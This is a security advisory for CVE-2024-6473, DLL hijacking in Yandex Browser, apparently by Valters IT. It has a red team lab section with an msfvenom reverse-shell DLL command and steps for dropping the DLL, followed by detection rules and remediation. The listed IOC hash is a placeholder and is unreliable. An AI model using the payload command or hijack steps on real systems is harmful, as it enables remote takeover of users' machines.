CVE-2024-6473

Executive Summary

CVE-2024-6473 is a DLL Hijacking vulnerability affecting Yandex Browser for Desktop prior to version 24.7.1.380. The vulnerability arises from the use of an untrusted search path, allowing an attacker to place a malicious DLL in a directory that the browser searches before the intended system directory. When the browser loads a legitimate DLL, it may inadvertently load the attacker's malicious DLL instead, leading to arbitrary code execution in the context of the user running the browser. This vulnerability has a CVSS score of 0.0 (likely unassigned or under review), but the potential impact is high, as it can lead to full system compromise. No public proof-of-concept or exploit code is currently available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which typically indicates that the score has not been officially assigned or is under review. Based on the nature of the vulnerability (DLL Hijacking), a reasonable estimated CVSS v3.1 vector would be: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (Base Score: 7.8 - High). This reflects the need for local access and user interaction, but the potential for complete confidentiality, integrity, and availability impact.

Deep Dive & Mechanics

DLL Hijacking (CWE-426) occurs when an application uses an insecure method to load dynamic-link libraries (DLLs). In Yandex Browser for Desktop, the vulnerability is due to an untrusted search path. When the browser attempts to load a required DLL, it searches a series of directories in a specific order. If an attacker can place a malicious DLL in a directory that is searched before the legitimate system directory (e.g., the application's own directory, the current working directory, or a directory in the PATH environment variable), the browser will load the malicious DLL instead.

The attack typically requires the attacker to have write access to a directory that is in the search path. This could be achieved through social engineering (e.g., tricking a user into downloading a file to a specific location) or by exploiting another vulnerability to gain initial access. Once the malicious DLL is loaded, it executes with the privileges of the user running the browser, potentially allowing the attacker to steal data, install malware, or escalate privileges.

Vulnerable vs. Patched Code

The vulnerability is not in a specific code snippet but in the application's DLL loading behavior. The patched version (24.7.1.380) likely implements one or more of the following mitigations:

• Using absolute paths for DLL loading.
• Calling SetDllDirectory to remove the current working directory from the search path.
• Using the LOAD_LIBRARY_SEARCH_* flags with LoadLibraryEx to restrict the search to safe directories.
• Digitally signing all DLLs and verifying signatures before loading.

Without access to the source code, the exact changes cannot be detailed, but the patch ensures that the browser only loads DLLs from trusted, secure locations.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a vulnerable version of Yandex Browser for Desktop (e.g., 24.7.0.xxx) on a Windows virtual machine.
2. Identify a DLL that the browser loads from an insecure path. Common targets include version.dll, dbghelp.dll, or wlanapi.dll.
3. Create a malicious DLL that, when loaded, executes a payload (e.g., reverse shell, keylogger). Use a tool like msfvenom to generate the DLL:

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
   

4. Place the malicious DLL in a directory that is in the browser's search path, such as the browser's installation directory or the user's Downloads folder.
5. Launch the browser. When it attempts to load the legitimate DLL, it will load the malicious DLL instead, executing the payload.

Exploitation Steps:

1. Gain initial access to the target system (e.g., via phishing).
2. Drop the malicious DLL to the appropriate directory.
3. Wait for the user to launch Yandex Browser, or trigger the browser to load the DLL (e.g., by opening a specific file type).
4. Receive the reverse shell or execute the payload.

Blue Team (Defensive)

Detection:

• Monitor for unusual DLL load events, especially from non-standard directories.
• Use Sysmon to log DLL load events (Event ID 7) and alert on any DLL loaded from user-writable paths by Yandex Browser.
• Implement application whitelisting to prevent unauthorized DLLs from being loaded.

Prevention:

• Ensure all systems are updated to Yandex Browser version 24.7.1.380 or later.
• Restrict user write permissions to critical system directories.
• Use Group Policy to enforce safe DLL search order (e.g., SetDllDirectory).
• Deploy endpoint detection and response (EDR) solutions that can detect and block DLL hijacking attempts.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Placeholder - replace with actual hashes if discovered)
  • malicious.dll: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• File Paths:
  • C:\Users\<username>\AppData\Local\Yandex\YandexBrowser\Application\<version>\malicious.dll
  • C:\Users\<username>\Downloads\malicious.dll
• Registry Keys:
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run (if persistence is achieved)
• Network Indicators:
  • Outbound connections to attacker-controlled IP addresses on common ports (e.g., 4444, 8080).
• Process Indicators:
  • Yandex Browser process (browser.exe) loading a DLL from an unusual path.
  • Child processes spawned by browser.exe (e.g., cmd.exe, powershell.exe).

Detection Engineering

YARA Rule

rule Detect_Malicious_DLL_Hijack_Yandex {
    meta:
        description = "Detects potential DLL hijacking attempts targeting Yandex Browser"
        author = "Valters IT"
        date = "2024-07-25"
        reference = "CVE-2024-6473"
    strings:
        $dll_name = "version.dll" nocase
        $dll_name2 = "dbghelp.dll" nocase
        $dll_name3 = "wlanapi.dll" nocase
        $suspicious_path = /C:\\\\Users\\\\[^\\\\]+\\\\AppData\\\\Local\\\\Yandex\\\\YandexBrowser\\\\Application\\\\[^\\\\]+\\\\[^\\\\]+\.dll/i
    condition:
        any of ($dll_name*) and $suspicious_path
}

Sigma Rule

title: Yandex Browser DLL Hijacking Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DLL load events from suspicious paths by Yandex Browser
author: Valters IT
date: 2024/07/25
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6473
logsource:
    product: windows
    service: sysmon
    definition: 'Requires Sysmon Event ID 7 (Image loaded)'
detection:
    selection:
        EventID: 7
        Image|endswith: '\\browser.exe'
        ImageLoaded|contains:
            - 'C:\\Users\\'
            - '\\Downloads\\'
            - '\\Desktop\\'
    condition: selection
falsepositives:
    - Legitimate DLLs placed in user directories by the user
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Yandex Browser DLL Hijack - Potential Malicious DLL Download"; flow:to_server,established; content:"GET"; http_method; content:"/malicious.dll"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Update Yandex Browser for Desktop to version 24.7.1.380 or later. This is the only confirmed fix.
2. Workaround: If immediate patching is not possible, restrict user write permissions to directories in the browser's DLL search path. Use Group Policy to enforce safe DLL search order.
3. Long-term: Implement application whitelisting (e.g., AppLocker) to prevent unauthorized DLLs from being loaded. Regularly audit DLL load events using Sysmon or EDR tools.
4. User Education: Train users to avoid downloading files from untrusted sources and to be cautious of phishing attempts that may deliver malicious DLLs.

Valters IT